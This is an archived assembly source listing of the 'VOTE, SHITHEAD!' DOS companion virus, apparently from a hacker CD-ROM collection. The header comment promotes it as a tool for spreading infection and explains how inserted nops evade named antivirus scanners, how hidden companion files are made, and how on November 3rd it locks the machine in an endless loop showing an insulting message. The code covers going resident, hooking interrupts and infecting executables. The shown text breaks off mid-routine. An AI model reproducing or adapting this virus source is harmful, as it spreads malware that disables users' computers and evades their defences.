home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / VOTE.ASM < prev    next >
Assembly Source File  |  1992-10-08  |  12KB  |  320 lines

  1. ;****************************************************************************
  2. ;*  VOTE, SHITHEAD! virus   Edited by URNST KOUCH for the Crypt Newsletter 7.
  3. ;*
  4. ;*  TASM/MASM compatible source listing
  5. ;*
  6. ;*  VOTE, SHITHEAD is a resident, companion virus based upon Little 
  7. ;*  Brother code and library .asm routines extracted from Nowhere Man's VCL.
  8. ;*  It is also 'patched' with three 'nops' (they are commented) which 
  9. ;*  effectively blind a number of a-v scanners. This simple alteration
  10. ;*  demonstrates a practical benefit of source code possession: quick 
  11. ;*  generation of different virus strains becomes a task within anyone's 
  12. ;*  reach. The only tools needed are a number of virus scanners and patience.
  13. ;*
  14. ;*  In any case, the VOTE virus is just the ideal sample needed for
  15. ;*  judicious virus action. It is a PERFECT tool for viral spreading for
  16. ;*  a number of reasons.  First, it is a FAST infector. Once resident
  17. ;*  VOTE will create a companion file for ANY .EXE executed on ANY drive
  18. ;*  and it will do it so quickly that most users, even suspicious ones,
  19. ;*  will not notice any slowdown or glitches in machine operation.
  20. ;*  Second, 'companion-ed' .EXE's will continue to load and function
  21. ;*  properly when VOTE is resident. At the start of the day's computing,
  22. ;*  the first 'companion-ed' .EXE executed will misfire ONCE as the virus
  23. ;*  becomes resident. If it is re-called it will function perfectly.
  24. ;*  Third, VOTE like the INSUFF viruses in the last newsletter strikes
  25. ;*  directly at anti-virus suites vulnerable to 'spawning' infections (many
  26. ;*  no-names, CPAV, NAV) and creates 'hidden' companion files, an improvement
  27. ;*  over the original virus's modus operandi which left them out in plane
  28. ;*  sight in the directory. Last, VOTE is very small. In RAM, it is not 
  29. ;*  discernible, taking up slightly less that 0.25k. Characteristically,
  30. ;*  this is NOT reported by a mem /c display. In fact, 
  31. ;*  VOTE is almost invisible to any number of standard diagnostic 
  32. ;*  tests. Memory maps by QEMM and Norton's SYSINFO will 
  33. ;*  report INT 21 hooked differently. But unless the user can compare
  34. ;*  an uncontaminated INTERRUPT report with one when the virus IS present, 
  35. ;*  it's unlikely he'll know anything is different. Even then, VOTE is hard
  36. ;*  to notice. 
  37. ;*
  38. ;*  On election day, November 3rd, VOTE will lock an infected machine into 
  39. ;*  a loop as it displays a "DID YOU VOTE, SHITHEAD??" query repetitively
  40. ;*  across the monitor. Computing will be impossible on Nov. 3rd
  41. ;*  unless VOTE is removed from the machine, a task accomplished by unmasking
  42. ;*  all the hidden .COMfiles and deleting them while
  43. ;*  the virus is NOT resident. At all other times, VOTE is almost completely
  44. ;*  transparent.
  45. ;****************************************************************************
  46.  
  47. code            segment
  48.         assume  cs:code,ds:code,es:nothing
  49.  
  50.         .RADIX  16
  51.  
  52.  
  53. oi21            equ     endit
  54. nameptr         equ     endit+4
  55. DTA             equ     endit+8
  56.  
  57.  
  58. ;****************************************************************************
  59. ;*    Check for activation date, then proceed to installation!
  60. ;****************************************************************************
  61.  
  62.         org     100h
  63.  
  64. begin:     
  65.         call    get_day       ; Get the day, DOS time/date grab
  66.         cmp     ax,0003h      ; Did the function return the 3rd?
  67.         jne     realstrt      ; If equal, continue along stream
  68.         call    get_month     ; Get the month, DOS time/date grab
  69.         cmp     ax,000Bh      ; Did the function return November (11)?
  70.         jne     realstrt      ; If equal, continue to blooie; if not
  71.                       ; skip to loading of virus
  72.  
  73.  
  74. blooie:         mov     dx, offset shithead  ;load 'shithead' message
  75.         mov     ah,9                 ;display it and loop
  76.         int     21h                  ;endlessly until
  77.         jmp     blooie               ;user becomes ill and reboots
  78.  
  79. realstrt:       mov     ax,0044h      ;move VOTE SHITHEAD to empty hole in RAM
  80.         nop                   ;a 'nop' to confuse tbSCAN
  81.         mov     es,ax
  82.         nop                   ;a 'nop' to confuse Datatechnik's AVscan
  83.         mov     di,0100h
  84.         mov     si,di
  85.         mov     cx,endit - begin  ;length of SHITHEAD into cx
  86.     rep     movsb
  87.  
  88.         mov     ds,cx            ;get original int21 vector
  89.         mov     si,0084h
  90.         mov     di,offset oi21
  91.         mov     dx,offset ni21
  92.         lodsw
  93.         cmp     ax,dx             ;check to see if virus is around
  94.         je      cancel            ; by comparing new interrupt (ni21)
  95.         stosw                     ; vector to current, if it looks
  96.         movsw                     ; the same 'cancel' operation
  97.  
  98.         push    es                      ;set vector to new handler
  99.         pop     ds
  100.         mov     ax,2521h
  101.         int     21h
  102.  
  103. cancel:         ret
  104.  
  105.  
  106. ;****************************************************************************
  107. ;*    File-extension masks for checking and naming routines;message text
  108. ;****************************************************************************
  109.  
  110. EXE_txt         db      'EXE',0
  111. COM_txt         db      'COM',0
  112. SHITHEAD        db      "DID YOU VOTE, SHITHEAD??"
  113.         db      07h,07h,'$'
  114.  
  115. ;****************************************************************************
  116. ;*              Interrupt handler 24
  117. ;****************************************************************************
  118.  
  119. ni24:           mov     al,03   ;virus critical error handler
  120.         iret            ;prevents embarrassing messages
  121.                 ;on attempted writes to protected disks
  122.  
  123. ;****************************************************************************
  124. ;*              Interrupt handler 21
  125. ;****************************************************************************
  126.  
  127. ni21:           pushf
  128.  
  129.         push    es
  130.         push    ds
  131.         push    ax
  132.         push    bx
  133.         push    dx
  134.         
  135.         cmp     ax,4B00h         ;now that we're installed
  136.         jne     exit             ; check for 4B00, DOS excutions
  137.  
  138. doit:           call    infect          ; if one comes by, grab it
  139.  
  140. exit:           pop      dx             ; if anything else, goto sleep
  141.         pop      bx
  142.         pop      ax
  143.         pop      ds
  144.         pop      es
  145.         popf
  146.  
  147.         jmp     dword ptr cs:[oi21]  ;call to old int-handler
  148.  
  149.  
  150. ;****************************************************************************
  151. ;*              Try to infect a file (ptr to ASCIIZ-name is DS:DX)
  152. ;****************************************************************************
  153.  
  154. infect:         cld
  155.  
  156.         mov     word ptr cs:[nameptr],dx  ;save the ptr to the filename
  157.         mov     word ptr cs:[nameptr+2],ds
  158.  
  159.         mov     ah,2Fh                  ;get old DTA
  160.         int     21
  161.         push    es
  162.         push    bx
  163.  
  164.         push    cs                      ;set new DTA
  165.  
  166.         pop     ds
  167.         mov     dx,offset DTA
  168.         mov     ah,1Ah
  169.         int     21
  170.  
  171.         call    searchpoint            ; here's where we grab a name
  172.         push    di                     ; for ourselves
  173.         mov     si,offset COM_txt       ;is extension 'COM'?
  174.                         
  175.         mov     cx,3
  176.     rep     cmpsb
  177.         pop     di
  178.         jz      do_com                ;if so, go to our .COM routine 
  179.  
  180.         mov     si,offset EXE_txt     ;is extension 'EXE'?
  181.         nop                           ;'nop' to confuse SCAN v95b.
  182.         mov     cl,3
  183.         rep     cmpsb                 
  184.         jnz     return
  185.  
  186. do_exe:         mov     si,offset COM_txt     ;change extension to COM
  187.         nop                           ;another 'nop' to confuse SCAN
  188.         call    change_ext             
  189.  
  190.         mov     ax,3300h              ;get ctrl-break flag
  191.         nop
  192.         int     21                    
  193.         push    dx
  194.  
  195.         cwd                           ;clear the flag
  196.         inc     ax
  197.         push    ax
  198.         int     21
  199.  
  200.         mov     ax,3524h              ;get int24 vector
  201.         int     21                    
  202.         push    bx                    
  203.         push    es
  204.  
  205.         push    cs                    ;set int24 vector to new handler
  206.         pop     ds                    ;virus handles machine
  207.         mov     dx,offset ni24        ;exits on attempted writes
  208.         mov     ah,25h                ;to write-protected disks 
  209.         push    ax
  210.         int     21
  211.  
  212.         lds     dx,dword ptr [nameptr] ;create the virus (with name of .EXE target)
  213.         mov     ah,03Ch                ; DOS create file function
  214.